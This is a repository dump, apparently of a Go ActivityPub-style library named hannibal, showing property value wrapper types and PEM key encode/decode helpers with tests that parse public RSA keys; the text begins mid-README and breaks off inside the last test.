foo.Set("name", "Foo") // converts foo to a map and sets a new property 19 | foo.Get("name").Raw() // returns "Foo" 20 | ``` 21 | 22 | ## Interfaces 23 | Everything implements the `property.Value` interface, which provides several low-level manipulations for reading, writing, and transforming values. You can implement this interface in other packages to use other custom types with the rest of the hannibal library. 24 | -------------------------------------------------------------------------------- /property/bool.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | import "github.com/benpate/rosetta/convert" 4 | 5 | type Bool bool 6 | 7 | func (value Bool) IsBool() bool { 8 | return true 9 | } 10 | 11 | func (value Bool) Bool() bool { 12 | return bool(value) 13 | } 14 | 15 | // Get returns a value of the given property 16 | func (value Bool) Get(_ string) Value { 17 | return Nil{} 18 | } 19 | 20 | // Set returns the value with the given property set 21 | func (value Bool) Set(property string, propertyValue any) Value { 22 | return Map{ 23 | property: propertyValue, 24 | } 25 | } 26 | 27 | // Head returns the first value in a slice 28 | func (value Bool) Head() Value { 29 | return value 30 | } 31 | 32 | // Tail returns all values in a slice except the first 33 | func (value Bool) Tail() Value { 34 | return Nil{} 35 | } 36 | 37 | // Len returns the number of elements in the value 38 | func (value Bool) Len() int { 39 | return 1 40 | } 41 | 42 | func (value Bool) IsNil() bool { 43 | return value == false // nolint:gosimple // This form is just nicer, srry. 44 | } 45 | 46 | func (value Bool) String() string { 47 | return convert.String(value) 48 | } 49 | 50 | func (value Bool) Map() map[string]any { 51 | return make(map[string]any) 52 | } 53 | 54 | func (value Bool) Raw() any { 55 | return bool(value) 56 | } 57 | 58 | func (value Bool) Clone() Value { 59 | return value 60 | } 61 | -------------------------------------------------------------------------------- /property/float.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | import "github.com/benpate/rosetta/convert" 4 | 5 | type Float float64 6 | 7 | func (value Float) IsFloat() bool { 8 | return true 9 | } 10 | 11 | func (value Float) Float() float64 { 12 | return float64(value) 13 | } 14 | 15 | // Get returns a value of the given property 16 | func (value Float) Get(_ string) Value { 17 | return Nil{} 18 | } 19 | 20 | // Set returns the value with the given property set 21 | func (value Float) Set(propertyName string, propertyValue any) Value { 22 | return Map{ 23 | propertyName: propertyValue, 24 | } 25 | } 26 | 27 | // Head returns the first value in a slice 28 | func (value Float) Head() Value { 29 | return value 30 | } 31 | 32 | // Tail returns all values in a slice except the first 33 | func (value Float) Tail() Value { 34 | return Nil{} 35 | } 36 | 37 | // Len returns the number of elements in the value 38 | func (value Float) Len() int { 39 | return 1 40 | } 41 | 42 | func (value Float) IsNil() bool { 43 | return value == 0 44 | } 45 | 46 | func (value Float) String() string { 47 | return convert.String(value) 48 | } 49 | 50 | func (value Float) Map() map[string]any { 51 | return make(map[string]any) 52 | } 53 | 54 | func (value Float) Raw() any { 55 | return float64(value) 56 | } 57 | 58 | func (value Float) Clone() Value { 59 | return value 60 | } 61 | -------------------------------------------------------------------------------- /property/int.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | import "github.com/benpate/rosetta/convert" 4 | 5 | type Int int 6 | 7 | func (value Int) IsInt() bool { 8 | return true 9 | } 10 | 11 | func (value Int) IsInt64() bool { 12 | return true 13 | } 14 | 15 | func (value Int) Int() int { 16 | return int(value) 17 | } 18 | 19 | func (value Int) Int64() int64 { 20 | return int64(value) 21 | } 22 | 23 | // Get returns a value of the given property 24 | func (value Int) Get(_ string) Value { 25 | return Nil{} 26 | } 27 | 28 | // Set returns the value with the given property set 29 | func (value Int) Set(propertyName string, propertyValue any) Value { 30 | return Map{ 31 | propertyName: propertyValue, 32 | } 33 | } 34 | 35 | // Head returns the first value in a slice 36 | func (value Int) Head() Value { 37 | return value 38 | } 39 | 40 | // Tail returns all values in a slice except the first 41 | func (value Int) Tail() Value { 42 | return Nil{} 43 | } 44 | 45 | // Len returns the number of elements in the value 46 | func (value Int) Len() int { 47 | return 1 48 | } 49 | 50 | func (value Int) IsNil() bool { 51 | return value == 0 52 | } 53 | 54 | func (value Int) String() string { 55 | return convert.String(value) 56 | } 57 | 58 | func (value Int) Map() map[string]any { 59 | return make(map[string]any) 60 | } 61 | 62 | func (value Int) Raw() any { 63 | return int(value) 64 | } 65 | 66 | func (value Int) Clone() Value { 67 | return value 68 | } 69 | -------------------------------------------------------------------------------- /property/int64.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | import "github.com/benpate/rosetta/convert" 4 | 5 | type Int64 int64 6 | 7 | func (value Int64) IsInt() bool { 8 | return true 9 | } 10 | 11 | func (value Int64) IsInt64() bool { 12 | return true 13 | } 14 | 15 | func (value Int64) Int() int { 16 | return int(value) 17 | } 18 | 19 | func (value Int64) Int64() int64 { 20 | return int64(value) 21 | } 22 | 23 | // Get returns a value of the given property 24 | func (value Int64) Get(_ string) Value { 25 | return Nil{} 26 | } 27 | 28 | // Set returns the value with the given property set 29 | func (value Int64) Set(propertyName string, propertyValue any) Value { 30 | return Map{ 31 | propertyName: propertyValue, 32 | } 33 | } 34 | 35 | // Head returns the first value in a slice 36 | func (value Int64) Head() Value { 37 | return value 38 | } 39 | 40 | // Tail returns all values in a slice except the first 41 | func (value Int64) Tail() Value { 42 | return Nil{} 43 | } 44 | 45 | // Len returns the number of elements in the value 46 | func (value Int64) Len() int { 47 | return 1 48 | } 49 | 50 | func (value Int64) IsNil() bool { 51 | return value == 0 52 | } 53 | 54 | func (value Int64) String() string { 55 | return convert.String(value) 56 | } 57 | 58 | func (value Int64) Map() map[string]any { 59 | return make(map[string]any) 60 | } 61 | 62 | func (value Int64) Raw() any { 63 | return int64(value) 64 | } 65 | 66 | func (value Int64) Clone() Value { 67 | return value 68 | } 69 | -------------------------------------------------------------------------------- /property/interfaces.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | import "time" 4 | 5 | /****************************************** 6 | * Introspection Interfaces 7 | ******************************************/ 8 | 9 | type IsBooler interface { 10 | IsBool() bool 11 | Bool() bool 12 | } 13 | 14 | type IsInter interface { 15 | IsInt() bool 16 | Int() int 17 | } 18 | 19 | type IsInt64er interface { 20 | IsInt64() bool 21 | Int64() int64 22 | } 23 | 24 | type IsFloater interface { 25 | IsFloat() bool 26 | Float() float64 27 | } 28 | 29 | type IsMapper interface { 30 | IsMap() bool 31 | Map() map[string]any 32 | MapKeys() []string 33 | } 34 | 35 | type IsSlicer interface { 36 | IsSlice() bool 37 | Slice() []any 38 | } 39 | 40 | type IsStringer interface { 41 | IsString() bool 42 | String() string 43 | } 44 | 45 | type IsTimeer interface { 46 | IsTime() bool 47 | Time() time.Time 48 | } 49 | 50 | /****************************************** 51 | * Getter Interfaces 52 | ******************************************/ 53 | 54 | // BoolGetter is an optional interface that should be implemented 55 | // by any property.Value that contains a bool 56 | type BoolGetter interface { 57 | // Bool returns a value typed as a bool 58 | Bool() bool 59 | } 60 | 61 | // IntGetter is an optional interface that should be implemented 62 | // by any property.Value that contains an int 63 | type IntGetter interface { 64 | // Int returns the value typed as an int 65 | Int() int 66 | } 67 | 68 | // Int64Getter is an optional interface that should be implemented 69 | // by any property.Value that contains an int64 70 | type Int64Getter interface { 71 | // Int64 returns the value typed as an int64 72 | Int64() int64 73 | } 74 | 75 | // FloatGetter is an optional interface that should be implemented 76 | // by any property.Value that contains a float64 77 | type FloatGetter interface { 78 | // Float returns the value typed as a float64 79 | Float() float64 80 | } 81 | 82 | // MapGetter is an optional interface that should be implemented 83 | // by any property.Value that contains a map[string]any 84 | type MapGetter interface { 85 | // Map returns the value typed as a map[string]any 86 | Map() map[string]any 87 | } 88 | 89 | // SliceGetter is an optional interface that should be implemented 90 | // by any property.Value that contains a []any 91 | type SliceGetter interface { 92 | // Slice returns the value typed as a []any 93 | Slice() []any 94 | } 95 | 96 | // StringGetter is an optional interface that should be implemented 97 | // by any property.Value that contains a string 98 | type StringGetter interface { 99 | // String returns the value typed as a string 100 | String() string 101 | } 102 | 103 | // TimeGetter is an optional interface that should be implemented 104 | // by any property.Value that contains a time.Time 105 | type TimeGetter interface { 106 | // Time returns the value typed as a time.Time 107 | Time() time.Time 108 | } 109 | -------------------------------------------------------------------------------- /property/map.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/vocab" 5 | "github.com/benpate/rosetta/convert" 6 | ) 7 | 8 | type Map map[string]any 9 | 10 | // Get returns a value of the given property 11 | func (value Map) Get(name string) Value { 12 | 13 | if property, ok := value[name]; ok { 14 | return NewValue(property) 15 | } 16 | 17 | return Nil{} 18 | } 19 | 20 | // Set returns the value with the given property set 21 | func (value Map) Set(name string, newValue any) Value { 22 | value[name] = newValue 23 | return value 24 | } 25 | 26 | // Head returns the first value in a slice 27 | func (value Map) Head() Value { 28 | return value 29 | } 30 | 31 | // Tail returns all values in a slice except the first 32 | func (value Map) Tail() Value { 33 | return Nil{} 34 | } 35 | 36 | // Len returns the number of elements in the value 37 | func (value Map) Len() int { 38 | return 1 39 | } 40 | 41 | func (value Map) IsNil() bool { 42 | return len(value) == 0 43 | } 44 | 45 | func (value Map) String() string { 46 | return convert.String(value[vocab.PropertyID]) 47 | } 48 | 49 | func (value Map) Raw() any { 50 | return map[string]any(value) 51 | } 52 | 53 | func (value Map) Clone() Value { 54 | result := make(map[string]any) 55 | 56 | for key, value := range value { 57 | result[key] = value 58 | } 59 | 60 | return Map(value) 61 | } 62 | 63 | /****************************************** 64 | * IsMapper Interface 65 | ******************************************/ 66 | 67 | func (value Map) IsMap() bool { 68 | return true 69 | } 70 | 71 | func (value Map) Map() map[string]any { 72 | return value 73 | } 74 | 75 | func (value Map) MapKeys() []string { 76 | result := make([]string, 0, len(value)) 77 | for key := range value { 78 | result = append(result, key) 79 | } 80 | return result 81 | } 82 | -------------------------------------------------------------------------------- /property/nil.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | type Nil struct{} 4 | 5 | // Get returns a value of the given property 6 | func (value Nil) Get(string) Value { 7 | return Nil{} 8 | } 9 | 10 | // Set returns the value with the given property set 11 | func (value Nil) Set(string, any) Value { 12 | return Nil{} 13 | } 14 | 15 | // Head returns the first value in a slice 16 | func (value Nil) Head() Value { 17 | return Nil{} 18 | } 19 | 20 | // Tail returns all values in a slice except the first 21 | func (value Nil) Tail() Value { 22 | return Nil{} 23 | } 24 | 25 | // Len returns the number of elements in the value 26 | func (value Nil) Len() int { 27 | return 0 28 | } 29 | 30 | func (value Nil) IsNil() bool { 31 | return true 32 | } 33 | 34 | func (value Nil) String() string { 35 | return "" 36 | } 37 | 38 | func (value Nil) Map() map[string]any { 39 | return make(map[string]any) 40 | } 41 | 42 | func (value Nil) Raw() any { 43 | return nil 44 | } 45 | 46 | func (value Nil) Clone() Value { 47 | return Nil{} 48 | } 49 | -------------------------------------------------------------------------------- /property/slice.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | type Slice []any 4 | 5 | func (value Slice) IsSlice() bool { 6 | return true 7 | } 8 | 9 | func (value Slice) Slice() []any { 10 | return []any(value) 11 | } 12 | 13 | // Get returns a value of the given property 14 | func (value Slice) Get(name string) Value { 15 | return value.Head().Get(name) 16 | } 17 | 18 | // Set returns the value with the given property set 19 | func (value Slice) Set(name string, newValue any) Value { 20 | 21 | if len(value) == 0 { 22 | first := Nil{}.Set(name, newValue) 23 | return Slice([]any{first}) 24 | } 25 | 26 | first := value.Head().Set(name, newValue) 27 | return Slice(append([]any{first.Raw()}, value[1:]...)) 28 | } 29 | 30 | // Head returns the first value in a slice 31 | func (value Slice) Head() Value { 32 | if len(value) == 0 { 33 | return Nil{} 34 | } 35 | 36 | return NewValue(value[0]) 37 | } 38 | 39 | // Tail returns all values in a slice except the first 40 | func (value Slice) Tail() Value { 41 | if len(value) == 0 { 42 | return Nil{} 43 | } 44 | 45 | return Slice(value[1:]) 46 | } 47 | 48 | // Len returns the number of elements in the value 49 | func (value Slice) Len() int { 50 | return len(value) 51 | } 52 | 53 | // IsNil returns true if the value is nil 54 | func (value Slice) IsNil() bool { 55 | return len(value) == 0 56 | } 57 | 58 | // String returns a string representation of the value 59 | func (value Slice) String() string { 60 | return "" // value.Head().String() 61 | } 62 | 63 | // Map returns the value as a map 64 | func (value Slice) Map() map[string]any { 65 | return value.Head().Map() 66 | } 67 | 68 | // Raw returns the original wrapped value 69 | func (value Slice) Raw() any { 70 | return []any(value) 71 | } 72 | 73 | // Clone returns a deep copy of the value 74 | func (value Slice) Clone() Value { 75 | result := make([]any, len(value)) 76 | copy(result, value) 77 | 78 | return Slice(value) 79 | } 80 | -------------------------------------------------------------------------------- /property/string.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | import "github.com/utterproofre/hannibal/vocab" 4 | 5 | type String string 6 | 7 | func (value String) IsString() bool { 8 | return true 9 | } 10 | 11 | // Get returns a value of the given property 12 | func (value String) Get(propertyName string) Value { 13 | 14 | if propertyName == vocab.PropertyID { 15 | return value 16 | } 17 | 18 | return Nil{} 19 | } 20 | 21 | // Set returns the value with the given property set 22 | func (value String) Set(propertyName string, propertyValue any) Value { 23 | result := Map{ 24 | vocab.PropertyID: value, 25 | } 26 | 27 | return result.Set(propertyName, propertyValue) 28 | } 29 | 30 | // Head returns the first value in a slice 31 | func (value String) Head() Value { 32 | return value 33 | } 34 | 35 | // Tail returns all values in a slice except the first 36 | func (value String) Tail() Value { 37 | return Nil{} 38 | } 39 | 40 | // Len returns the number of elements in the value 41 | func (value String) Len() int { 42 | return 1 43 | } 44 | 45 | // IsNil returns TRUE if the value is nil 46 | func (value String) IsNil() bool { 47 | return value == "" 48 | } 49 | 50 | // String returns a string representation of the value 51 | func (value String) String() string { 52 | return string(value) 53 | } 54 | 55 | // Map returns the value as a map 56 | func (value String) Map() map[string]any { 57 | return map[string]any{ 58 | vocab.PropertyID: value, 59 | } 60 | } 61 | 62 | // Raw returns the raw, original value 63 | func (value String) Raw() any { 64 | return string(value) 65 | } 66 | 67 | // Clone returns a deep copy of the value 68 | func (value String) Clone() Value { 69 | return value 70 | } 71 | -------------------------------------------------------------------------------- /property/string_test.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/require" 7 | ) 8 | 9 | func TestString(t *testing.T) { 10 | 11 | value := NewValue("Hello, World!") 12 | 13 | require.Equal(t, "Hello, World!", value.Raw()) 14 | require.Equal(t, "Hello, World!", value.Head().Raw()) 15 | require.Nil(t, value.Tail().Raw()) 16 | 17 | require.True(t, IsString(value)) 18 | } 19 | -------------------------------------------------------------------------------- /property/time.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/utterproofre/hannibal" 7 | ) 8 | 9 | type Time time.Time 10 | 11 | func (value Time) IsTime() bool { 12 | return true 13 | } 14 | 15 | func (value Time) Time() time.Time { 16 | return time.Time(value) 17 | } 18 | 19 | // Get returns a value of the given property 20 | func (value Time) Get(_ string) Value { 21 | return Nil{} 22 | } 23 | 24 | // Set returns the value with the given property set 25 | func (value Time) Set(propertyName string, propertyValue any) Value { 26 | return Map{ 27 | propertyName: propertyValue, 28 | } 29 | } 30 | 31 | // Head returns the first value in a slice 32 | func (value Time) Head() Value { 33 | return value 34 | } 35 | 36 | // Tail returns all values in a slice except the first 37 | func (value Time) Tail() Value { 38 | return Nil{} 39 | } 40 | 41 | // Len returns the number of elements in the value 42 | func (value Time) Len() int { 43 | return 1 44 | } 45 | 46 | // IsNil returns TRUE if the value is nil 47 | func (value Time) IsNil() bool { 48 | return time.Time(value).IsZero() 49 | } 50 | 51 | // String returs the string representation of the value 52 | func (value Time) String() string { 53 | return hannibal.TimeFormat(time.Time(value)) 54 | } 55 | 56 | // Map returns the value as a map[string]any 57 | func (value Time) Map() map[string]any { 58 | return make(map[string]any) 59 | } 60 | 61 | // Raw returns the raw, original value 62 | func (value Time) Raw() any { 63 | return time.Time(value) 64 | } 65 | 66 | // Clone returns a deep copy of the value 67 | func (value Time) Clone() Value { 68 | return value 69 | } 70 | -------------------------------------------------------------------------------- /property/value.go: -------------------------------------------------------------------------------- 1 | package property 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/benpate/rosetta/convert" 7 | "github.com/benpate/rosetta/mapof" 8 | "github.com/benpate/rosetta/sliceof" 9 | ) 10 | 11 | // Value is a wrapper for any kind of value that might be used in a streams.Document 12 | type Value interface { 13 | 14 | // Get returns a value of the given property 15 | Get(string) Value 16 | 17 | // Set returns the value with the given property set 18 | Set(string, any) Value 19 | 20 | // Head returns the first value in a slices, or the value itself if it is not a slice 21 | Head() Value 22 | 23 | // Tail returns all values in a slice except the first 24 | Tail() Value 25 | 26 | // Len returns the number of elements in the value 27 | Len() int 28 | 29 | // IsNil returns TRUE if the value is empty 30 | IsNil() bool 31 | 32 | // Map returns the map representation of this value 33 | Map() map[string]any 34 | 35 | // Raw returns the raw, unwrapped value being stored 36 | Raw() any 37 | 38 | // Clone returns a deep copy of a value 39 | Clone() Value 40 | } 41 | 42 | func NewValue(value any) Value { 43 | 44 | switch typed := value.(type) { 45 | 46 | // We already have a value, so return it 47 | case Value: 48 | return typed 49 | 50 | // Raw values 51 | case bool: 52 | return Bool(typed) 53 | 54 | case float32: 55 | return Float(typed) 56 | 57 | case float64: 58 | return Float(typed) 59 | 60 | case int: 61 | return Int(typed) 62 | 63 | case int64: 64 | return Int64(typed) 65 | 66 | case map[string]any: 67 | return Map(typed) 68 | 69 | case mapof.Any: 70 | return Map(typed) 71 | 72 | case []any: 73 | return Slice(typed) 74 | 75 | case sliceof.Any: 76 | return Slice(typed) 77 | 78 | case string: 79 | return String(typed) 80 | 81 | case time.Time: 82 | return Time(typed) 83 | 84 | // Conversion Interfaces 85 | case BoolGetter: 86 | return Bool(typed.Bool()) 87 | 88 | case FloatGetter: 89 | return Float(typed.Float()) 90 | 91 | case IntGetter: 92 | return Int(typed.Int()) 93 | 94 | case Int64Getter: 95 | return Int64(typed.Int64()) 96 | 97 | case MapGetter: 98 | return Map(typed.Map()) 99 | 100 | case SliceGetter: 101 | return Slice(typed.Slice()) 102 | 103 | case StringGetter: 104 | return String(typed.String()) 105 | 106 | case TimeGetter: 107 | return Time(typed.Time()) 108 | } 109 | 110 | // More checks for wayward values (like primitive.A) 111 | 112 | if convert.IsMap(value) { 113 | return Map(convert.MapOfAny(value)) 114 | } 115 | 116 | if convert.IsSlice(value) { 117 | return Slice(convert.SliceOfAny(value)) 118 | } 119 | 120 | return Nil{} 121 | } 122 | 123 | /**************************************************** 124 | * Introspection Functions 125 | ****************************************************/ 126 | 127 | // IsBool returns TRUE if the value represents a bool 128 | func IsBool(value any) bool { 129 | if is, ok := value.(IsBooler); ok { 130 | return is.IsBool() 131 | } 132 | return false 133 | } 134 | 135 | // IsInt returns TRUE if the value represents a float 136 | func IsFloat(value any) bool { 137 | if is, ok := value.(IsFloater); ok { 138 | return is.IsFloat() 139 | } 140 | return false 141 | } 142 | 143 | // IsInt returns TRUE if the value represents an int 144 | func IsInt(value any) bool { 145 | if is, ok := value.(IsInter); ok { 146 | return is.IsInt() 147 | } 148 | return false 149 | } 150 | 151 | // IsInt64 returns TRUE if the value represents an int64 152 | func IsInt64(value any) bool { 153 | if is, ok := value.(IsInt64er); ok { 154 | return is.IsInt64() 155 | } 156 | return false 157 | } 158 | 159 | // IsMap returns TRUE if the value represents a map 160 | func IsMap(value any) bool { 161 | if is, ok := value.(IsMapper); ok { 162 | return is.IsMap() 163 | } 164 | return false 165 | } 166 | 167 | // IsSlice returns TRUE if the value represents a slice 168 | func IsSlice(value any) bool { 169 | if is, ok := value.(IsSlicer); ok { 170 | return is.IsSlice() 171 | } 172 | return false 173 | } 174 | 175 | // IsString returns TRUE if the value represents a string 176 | func IsString(value any) bool { 177 | if is, ok := value.(IsStringer); ok { 178 | return is.IsString() 179 | } 180 | return false 181 | } 182 | 183 | // IsTime returns TRUE if the value represents a time.Time 184 | func IsTime(value any) bool { 185 | if is, ok := value.(IsTimeer); ok { 186 | return is.IsTime() 187 | } 188 | return false 189 | } 190 | -------------------------------------------------------------------------------- /sigs/certificates.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "crypto" 5 | "crypto/rsa" 6 | "crypto/x509" 7 | "encoding/pem" 8 | 9 | "github.com/benpate/derp" 10 | ) 11 | 12 | // EncodePrivatePEM converts a private key into a PEM string 13 | func EncodePrivatePEM(privateKey *rsa.PrivateKey) string { 14 | 15 | // Get ASN.1 DER format 16 | privDER := x509.MarshalPKCS1PrivateKey(privateKey) 17 | 18 | // pem.Block 19 | privBlock := pem.Block{ 20 | Type: "RSA PRIVATE KEY", 21 | Headers: nil, 22 | Bytes: privDER, 23 | } 24 | 25 | // Private key in PEM format 26 | privatePEM := pem.EncodeToMemory(&privBlock) 27 | 28 | return string(privatePEM) 29 | } 30 | 31 | // EncodePublicPEM converts a public key into a PEM string 32 | func EncodePublicPEM(privateKey *rsa.PrivateKey) string { 33 | 34 | // Get ASN.1 DER format 35 | publicDER := x509.MarshalPKCS1PublicKey(&privateKey.PublicKey) 36 | 37 | // pem.Block 38 | publicBlock := pem.Block{ 39 | Type: "RSA PUBLIC KEY", 40 | Headers: nil, 41 | Bytes: publicDER, 42 | } 43 | 44 | // Private key in PEM format 45 | publicPEM := pem.EncodeToMemory(&publicBlock) 46 | 47 | return string(publicPEM) 48 | } 49 | 50 | // DecodePrivatePEM converts a PEM string into a private key 51 | func DecodePrivatePEM(pemString string) (crypto.PrivateKey, error) { 52 | 53 | const location = "hannibal.sigs.DecodePrivatePEM" 54 | 55 | block, _ := pem.Decode([]byte(pemString)) 56 | 57 | if block == nil { 58 | return nil, derp.InternalError(location, "Block is nil", pemString) 59 | } 60 | 61 | switch block.Type { 62 | 63 | case "RSA PRIVATE KEY": 64 | result, err := x509.ParsePKCS1PrivateKey(block.Bytes) 65 | 66 | if err != nil { 67 | return nil, derp.Wrap(err, location, "Error parsing PKCS1 private key") 68 | } 69 | 70 | return result, nil 71 | 72 | case "PRIVATE KEY": 73 | result, err := x509.ParsePKCS8PrivateKey(block.Bytes) 74 | 75 | if err != nil { 76 | return nil, derp.Wrap(err, location, "Error parsing PKCS8 private key") 77 | } 78 | 79 | return result, nil 80 | 81 | default: 82 | return nil, derp.InternalError(location, "Invalid block type", block.Type) 83 | } 84 | } 85 | 86 | // DecodePublicPEM converts a PEM string into a public key 87 | func DecodePublicPEM(pemString string) (crypto.PublicKey, error) { 88 | 89 | const location = "hannibal.sigs.DecodePublicPEM" 90 | block, _ := pem.Decode([]byte(pemString)) 91 | 92 | if block == nil { 93 | return nil, derp.InternalError(location, "Block is nil", pemString) 94 | } 95 | 96 | switch block.Type { 97 | 98 | case "RSA PUBLIC KEY": 99 | return x509.ParsePKCS1PublicKey(block.Bytes) 100 | 101 | case "PUBLIC KEY": 102 | return x509.ParsePKIXPublicKey(block.Bytes) 103 | 104 | default: 105 | return nil, derp.InternalError(location, "Invalid block type", block.Type) 106 | } 107 | 108 | } 109 | -------------------------------------------------------------------------------- /sigs/certificates_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/rsa" 6 | "testing" 7 | 8 | "github.com/stretchr/testify/require" 9 | ) 10 | 11 | func TestEncodeDecodePEM(t *testing.T) { 12 | 13 | key, err := rsa.GenerateKey(rand.Reader, 2048) 14 | 15 | require.Nil(t, err) 16 | 17 | publicPEM := EncodePublicPEM(key) 18 | parsedKey, err := DecodePublicPEM(publicPEM) 19 | 20 | require.Nil(t, err) 21 | require.Equal(t, key.PublicKey.N, parsedKey.(*rsa.PublicKey).N) 22 | require.Equal(t, key.PublicKey.E, parsedKey.(*rsa.PublicKey).E) 23 | } 24 | 25 | // This is a key generated by Emissary 26 | func TestParseRSAKey(t *testing.T) { 27 | 28 | // hs2019 certs 29 | cert := "-----BEGIN RSA PUBLIC KEY-----\nMIIBCgKCAQEAlifIuRIJII6Z1FblKF0XD17nTCYP+AdX+9KXJ2/WOfxs2/CTVFGa\nq0ovIdoDK2jydatRciYmwYYS+xrixzvPdUqN3Kcpev1MwUqQuThVy3QiJAI0sJ0L\nJzruzZKXt8q3YbuWcMiNwfOv0/+VpsZHa7yltxFKHiULIBz/dF/0t3ulwGeUpVGA\nQrH0uWfmPs8hPkaIs8IIgEFGyUjPHejK+jZaqUSxbBlpzvnaEgKEJVXYawHCUipF\nQp5N1zdXi+FNNuERqixWHdmyguNWTLdwmH9bq1nFe6pLDG4eqXnEGFDXXZ90SQhe\nsfEDVzm0Yzcv7wkJFm80aPDsa7Y+IARddwIDAQAB\n-----END RSA PUBLIC KEY-----\n" 30 | key, err := DecodePublicPEM(cert) 31 | 32 | require.Nil(t, err) 33 | require.NotNil(t, key) 34 | } 35 | 36 | // This is a public key from a Mastodon instance 37 | func TestParseRSAKey2(t *testing.T) { 38 | 39 | cert := "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApIC6kVMMkk0cc4GCAQ+/\n5XAKz8KhSbSpsWFC1jVRH+AXDAH3O6Pw+r5xNUu+OEGUPnLXycxuPZapxTQPGw/w\nPUMk2QvEhi9WEECrdPG8y2dEZMcNvGhtOtyhIWHGBLfANcpeueW3Z8WBR2Eak5+Y\nkuy+oiS3CZ13JAxbY6AfNc6L1V1G1hSppoynBhxdk1V9XbSLGSPEcL0ZTKS2Jo9Y\nB/ipPTWWpD1jHvELTNEsgfcAgAmHsEIH7j9RhMy/YtsOczlymf+fqvcy5NJHzAaV\nFRomn/Eci/IYKGTc6/g3AzVQZ0aILEArgwiAUoumiWqco+ASVsjDY5by3Yxx3vsA\n+QIDAQAB\n-----END PUBLIC KEY-----\n" 40 | 41 | key, err := DecodePublicPEM(cert) 42 | 43 | require.Nil(t, err) 44 | require.NotNil(t, key) 45 | } 46 | 47 | func TestParseRSAKey3(t *testing.T) { 48 | 49 | cert := "-----BEGIN RSA PUBLIC KEY-----\nMEgCQQDbLVt+d4EGWdMOgG6lS2xvhP6kbb0OgdkG26jmqWfUCqzYhyuhoL3JgijV\nN+Y0Jbb4iEU2aQXMNHM+Rq1bfkLTAgMBAAE=\n-----END RSA PUBLIC KEY-----\n" 50 | 51 | key, err := DecodePublicPEM(cert) 52 | 53 | require.Nil(t, err) 54 | require.NotNil(t, key) 55 | } 56 | 57 | // This is a key from an example I found on the Internet 58 | func TestDecode_PKIXKey(t *testing.T) { 59 | cert := `-----BEGIN PUBLIC KEY----- 60 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAlRuRnThUjU8/prwYxbty 61 | WPT9pURI3lbsKMiB6Fn/VHOKE13p4D8xgOCADpdRagdT6n4etr9atzDKUSvpMtR3 62 | CP5noNc97WiNCggBjVWhs7szEe8ugyqF23XwpHQ6uV1LKH50m92MbOWfCtjU9p/x 63 | qhNpQQ1AZhqNy5Gevap5k8XzRmjSldNAFZMY7Yv3Gi+nyCwGwpVtBUwhuLzgNFK/ 64 | yDtw2WcWmUU7NuC8Q6MWvPebxVtCfVp/iQU6q60yyt6aGOBkhAX0LpKAEhKidixY 65 | nP9PNVBvxgu3XZ4P36gZV6+ummKdBVnc3NqwBLu5+CcdRdusmHPHd5pHf4/38Z3/ 66 | 6qU2a/fPvWzceVTEgZ47QjFMTCTmCwNt29cvi7zZeQzjtwQgn4ipN9NibRH/Ax/q 67 | TbIzHfrJ1xa2RteWSdFjwtxi9C20HUkjXSeI4YlzQMH0fPX6KCE7aVePTOnB69I/ 68 | a9/q96DiXZajwlpq3wFctrs1oXqBp5DVrCIj8hU2wNgB7LtQ1mCtsYz//heai0K9 69 | PhE4X6hiE0YmeAZjR0uHl8M/5aW9xCoJ72+12kKpWAa0SFRWLy6FejNYCYpkupVJ 70 | yecLk/4L1W0l6jQQZnWErXZYe0PNFcmwGXy1Rep83kfBRNKRy5tvocalLlwXLdUk 71 | AIU+2GKjyT3iMuzZxxFxPFMCAwEAAQ== 72 | -----END PUBLIC KEY-----` 73 | 74 | key, err := DecodePublicPEM(cert) 75 | require.Nil(t, err) 76 | require.NotNil(t, key) 77 | } 78 | 79 | func TestDecode_MastodonPEM(t *testing.T) { 80 | pem := "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApIC6kVMMkk0cc4GCAQ+/\n5XAKz8KhSbSpsWFC1jVRH+AXDAH3O6Pw+r5xNUu+OEGUPnLXycxuPZapxTQPGw/w\nPUMk2QvEhi9WEECrdPG8y2dEZMcNvGhtOtyhIWHGBLfANcpeueW3Z8WBR2Eak5+Y\nkuy+oiS3CZ13JAxbY6AfNc6L1V1G1hSppoynBhxdk1V9XbSLGSPEcL0ZTKS2Jo9Y\nB/ipPTWWpD1jHvELTNEsgfcAgAmHsEIH7j9RhMy/YtsOczlymf+fqvcy5NJHzAaV\nFRomn/Eci/IYKGTc6/g3AzVQZ0aILEArgwiAUoumiWqco+ASVsjDY5by3Yxx3vsA\n+QIDAQAB\n-----END PUBLIC KEY-----\n" 81 | key, err := DecodePublicPEM(pem) 82 | require.Nil(t, err) 83 | require.NotNil(t, key) 84 | } 85 | 86 | func TestDecode_EmissaryPEM(t *testing.T) { 87 | pem := "-----BEGIN RSA PUBLIC 